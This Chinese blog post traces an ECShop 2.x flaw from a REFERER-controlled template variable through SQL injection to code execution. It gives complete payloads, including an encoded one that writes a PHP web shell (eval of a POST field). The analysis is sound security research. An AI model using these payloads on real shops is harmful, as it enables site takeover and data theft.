ECShop2.x 从sql注入到代码执行

0x00 漏洞成因

根源是user.php中模板变量可控,导致sql注入,配合注入实现任意代码执行。

0x01 漏洞分析

sql注入分析

首先查看漏洞触发点,这里back_act来自于REFERER,用户可控。

继续往下跟,可发现back_act变量进入了assert函数,该方法用于模板变量注册。

然后跟进到display方法。display用于将模板显示出来。


首先进入fech方法。在该方法中,进入到template_out方法进行模板变量解析。

其中前边注册的back_act变量会解析到模板中。

最终out返回为解析变量后html页面内容,其back_act处内容用户可控。

在display方法中,继续向下执行,判断 _echash是否在out中,并以_echash对out进行分割,因为这里_echash值固定,所以这里是可控的。

分隔后的内容继续进入到insert_mod方法中。继续跟进。
这里函数用来处理动态内容,在最后可以看到动态函数调用,而传进来的name变量以|分隔,后半部分反序列化后作为动态函数的参数,前边部分与insert_拼接作为函数名。那么只需要继续找到可利用的函数即可。

这里找到insert_ads这个函数,可以看到arr[‘id’]跟[‘num’]直接被拼接到sql语句中。而这个arr变量即为我们前边可控的反序列化得到的内容。所以这里造成sql注入。

所以这里sql注入payload形式为

1
2
3
REFERER = _echash+ads|serialize(array('num'=>sql_payload,'id'=>2))

REFERER = 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";s:3:"boo";}

成功注入sql语句

代码执行

在上面基础上我们继续往下分析。这里position_style变量取的是‘str:’与sql语句执行的内容$position_style = $row[‘position_style’];拼接结果。这部分sql执行内容是可以通过前面所分析的sql注入可控的。其被带进fetch方法,继续跟踪。

因为position_style在上面与str:拼接,所以进入fetch后会进入到执行_eval函数的分支。


_eval函数中调用了eval方法

在此之前,用户可控的filename变量进入fetch_str中继续字符串过滤操作,跟进查看。

source中内容

1
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx


在最后preg_replace会匹配{([^}{\n]*)}/e修饰符下执行$this->select(‘\1’);其中带入的参数即为前面正则匹配到的内容。

1
preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

之后会依次进入select->get_val->make_var,最终payload闭合make_var中字符串即可从变量从逃逸。
首先进入select方法,要想返回内容可控,要让tag[0]==’$’,然后继续跟到get_val方法。

进入到get_val后,发现当字符串中不存在.$进入make_var方法处理,继续跟进。

可以看到在make_var方法中最终进行了拼接处理,只需要将前面闭合,后面注释掉即可。

在此为止,最终在fetch_str处理后的字符串格式为

1
<?php echo $this->_var['payload'];?>//这里payload只需将前面闭合即可执行任意代码

根据前面分析,进入fetch_str处理的字符串即position_style的内容为

1
{$ads'];payload//}  //这里payload为想要执行的任意代码

因为position_style变量取自sql查询的position_style字段。
结合前面的注入漏洞,使用union select 控制字段内容
arr[id]传入‘/*’,arr[num]传入/ union select 1,2,3,4,5,6,7,8,9,10 – -即可将中间的order by 注释掉实现union select

1
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -

另外为了让程序继续执行下面的代码,这里需满足条件

最终payload

1
REFERER:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

参考链接ecshop2.x 代码执行

本文标题:ECShop2.x 从sql注入到代码执行

文章作者:boogle

发布时间:2019年02月21日 - 14:46

最后更新:2019年03月07日 - 11:36

原始链接:https://zhengbao.wang/ECShop2-x-从sql注入到代码执行/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗